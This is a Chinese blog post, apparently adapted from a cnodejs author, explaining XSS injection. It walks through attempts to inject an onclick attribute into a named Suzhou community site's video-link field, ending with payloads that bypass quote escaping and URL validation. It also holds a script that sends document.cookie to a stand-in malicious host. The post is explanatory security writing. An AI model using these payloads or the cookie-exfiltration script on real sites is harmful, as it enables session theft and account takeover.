关于cnodejs中的xss注入防范

本文大部分内容摘抄整理自cnodejs的snoopy

xss注入很早就听说了,但给我印象最深的还是最近,一是项目中用到,二是cnodejs最近弄得很火爆,

主要比较流行的xss注入方式有:


我打开2500sz.com的论坛然后注册了一个帐号,发布一个新话题,输入以下代码:
enter image description here
上面的代码就是输入一个网络分享的图片,我在src中直接写入了javascript:alert('xss');操作成功后生成帖子,用IE6、7的用户打开这个我发的这个帖子就会出现下图的alert('xss')弹窗。 
enter image description here


或者:

var img = document.createElement('img');
img.src='<a href="http://www.xss.com/?cookie=" +document.cookie'="" target="_blank" style="-webkit-transition: 0.2s; color: rgb(0, 136, 204); text-decoration: none; ">http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

这样就神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点,我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。

我们访问www.szr.com社区,这是一个面向于苏州人的sns社区,主要界面是抄袭的新浪微博。
注入尝试1:
enter image description here
直接输入<script>标签,发现php将单引号和双引号都转义了,而且也将<>这类符号过滤掉了,尝试失败,继续寻找突破口。

注入尝试2:
图片注入,有些sns社区可以让用户自己上传图片,然后填写ref属性或者title属性,这些属性往往会成为注入点,如果应用程序文件名没有修改的话也可能被注入。更有胜者,在新版本的discuz中,用户可以分享照片还可以查看照片的exif信息,比如光圈相机型号等等,有达人用软件修改了exif信息,在里面嵌入恶意js代码,然后吸引用户查看exif信息。
但是这个szr社区并不提供图片title设置,而且上传的图片都经过服务端的改名了。尝试再次失败,不气馁继续寻找突破口。

注入尝试3:
我们发现了视频这个按钮,这个功能可以通过视频的连接地址分享视频,比如我可以发优酷上的视频地址来分享给其他用户。于是我打开视频功能,在输入框中写入:

<a href="http://www.baidu.com/%E2%80%9Conclick=alert(" xss'="" target="_blank" style="-webkit-transition: 0.2s; color: rgb(0, 136, 204); text-decoration: none; ">http://www.baidu.com/“onclick=alert('xss') title="xss"

生成了如下图的情况:
enter image description here
虽然注入还是失败了,php将单引号转义了,但是我们发现szr社区并没有对我输入的url进行有效性验证,而且没有过滤双引号,所以导致了整个html的dom元素测漏了。测漏是一个术语,表示XSS攻击提前闭合了html标签。我们找到了突破口,下面就是如何处理掉讨人厌的转义反斜杠了。

注入尝试4:
既然单引号和双引号都被转义干掉了,我们就不能利用他们了,换一个思路我们可以绕过单引号和双引号输出字符串吗?答案是肯定的,我再添加视频路径,输入以下代码:

http://www.baidu.com/"onclick=alert(this.name) name=xss ref=xss

构建成功后如图:
enter image description here
我们成功注入了onclick事件和name属性,接下来发生的事情就和我们想象中一样了
enter image description here
当用户点击了我们的视频按钮,弹出了对话框xss,我们注入成功了,喝杯椰奶庆祝下把!
可能有些朋友会说那是因为php端没有验证视频的有效性,比如这段url放在浏览器中是无法打开的,只需要在后端简单请求一下这个地址就可以过滤掉这类攻击了,答案当然也是否定的,我们看如下代码:

http://www.baidu.com/#"onclick=alert(this.name) name=xss ref=xss

你可以把这段url贴入到浏览器中,发现还是可以打开百度页面的。所以仅仅验证url的有效性是远远不够的。



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值